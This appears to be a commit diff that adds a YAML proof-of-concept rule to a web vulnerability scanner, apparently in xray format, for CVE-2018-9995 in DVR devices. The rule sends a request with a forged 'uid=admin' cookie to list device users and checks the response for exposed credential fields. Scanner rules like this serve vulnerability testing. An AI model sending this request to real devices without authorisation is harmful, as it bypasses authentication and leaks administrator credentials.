优化xray解析模块,支持groups、新增poc

WebScan/pocs/dvr-cve-2018-9995.yml

@@ -0,0 +1,15 @@
+name: poc-yaml-dvr-cve-2018-9995
+rules:
+  - method: GET
+    path: >-
+      /device.rsp?opt=user&cmd=list
+    headers:
+      Cookie: uid=admin
+    follow_redirects: true
+    expression: >
+      response.status == 200 && response.body.bcontains(bytes("\"uid\":")) && response.body.bcontains(b"playback")
+detail:
+  author: cc_ci(https://github.com/cc8ci)
+  Affected Version: "DVR"
+  links:
+    - https://s.tencent.com/research/bsafe/474.html